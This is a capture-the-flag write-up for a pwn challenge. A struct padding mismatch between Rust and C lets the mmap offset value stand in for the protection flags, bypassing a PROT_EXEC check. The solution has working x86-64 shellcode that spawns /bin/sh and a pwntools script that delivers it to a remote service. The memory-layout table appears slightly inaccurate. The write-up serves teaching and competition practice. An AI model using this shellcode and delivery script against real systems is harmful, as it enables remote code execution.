/..

#CONTENT

#TOP

#Provided Files

chal.c
C
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>

struct MmapArgs {
    uint64_t * addr;
    uint64_t length;
    int protection;
    int flags;
    int fd;
    uint64_t offset;
};

extern struct MmapArgs mmap_args();

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct MmapArgs args = mmap_args();
    char * buf = mmap(args.addr, args.length, args.protection, MAP_PRIVATE | MAP_ANON, args.fd, args.offset);
    if (buf < 0) {
        perror("failed to mmap");
    }

    read(0, buf, 0x1000);

    printf("> ");
    int op;
    if (scanf("%d", &op) == 1) {
        switch (op) {
            case 0:
                ((void (*)(void))buf)();
                break;
            case 1:
                puts(buf);
                break;
        }
    }
}
src/lib.rs
RS
#![allow(warnings)]

pub struct MmapArgs {
    addr: u64,
    length: u64,
    protection: u32,
    flags: u32,
    fd: u32,
    offset: u64,
}

#[no_mangle]
pub extern "C" fn mmap_args() -> MmapArgs {
    let args = MmapArgs {
        addr: read::<u64>(),
        length: read::<u64>(),
        protection: read::<u32>(),
        flags: read::<u32>(),
        fd: read::<u32>(),
        offset: read::<u64>(),
    };

    if args.protection & 4 != 0 {
        panic!("PROT_EXEC not allowed");
    }

    args
}

fn read<T>() -> T
where
    T: std::str::FromStr,
    <T as std::str::FromStr>::Err: std::fmt::Debug,
{
    use std::io::{stdin, stdout, Write};
    print!("> ");
    stdout().flush().unwrap();
    let mut buf = String::new();
    stdin().read_line(&mut buf).unwrap();
    buf.trim().parse::<T>().unwrap()
}

#Intended

The challenge provides the source for chal and libi_love_ffi.so in chal.c and lib.rs respectively. On the Rust side, an mmap_args function is defined that sets up the arguments and passes them over to C to execute. The Rust performs some basic checks to prevent passing the PROT_EXEC flag in the protections field, which should prevent allocating shellcode.

However, although the struct definitions in Rust and C are equivalent with the layout and types exactly the same, when you are compiled they are generated differently. Modern compilers will typically pad struct fields so that memory accesses to those fields are faster. The problem is that Rust and C have different padding behavior. C will attempt to align struct fields to their memory size, but will maintain struct order. Rust will also attempt to align struct fields to their memory size, but will not maintain struct order.

#memory layout

offsetCRust
0x00addraddr
0x04addraddr
0x08lengthlength
0x0Clengthlength
0x10protectionoffset
0x14flagsoffset
0x18fdprotection
0x1C[ unused ]flags
0x20offsetfd
0x24offset[ unused ]

As we can see in the above chart, the fields in Rust dont match up one-to-one to the struct fields on the C side. This allows us to bypass the protection check in rust and allocate shellcode.

#Solution

shellcode.asm
X86ASM
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
    bits 64
    
_start:
    mov rax, `/bin/sh`
    push rax
    mov eax, 0x3b
    mov rdi, rsp
    xor esi, esi
    xor edx, edx
    syscall
main.py
PYTHON
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
from pwn import *

p = remote(args.HOST, args.PORT)

for n in [0, 0x1000, 0, 0, 0, 7]:
    p.sendlineafter(b"> ", str(n).encode())

p.send(open("shellcode", "rb").read().ljust(4096, b"\x00"))
p.sendlineafter(b"> ", b"0")

p.interactive()

#Unintendeds

No unintendeds :D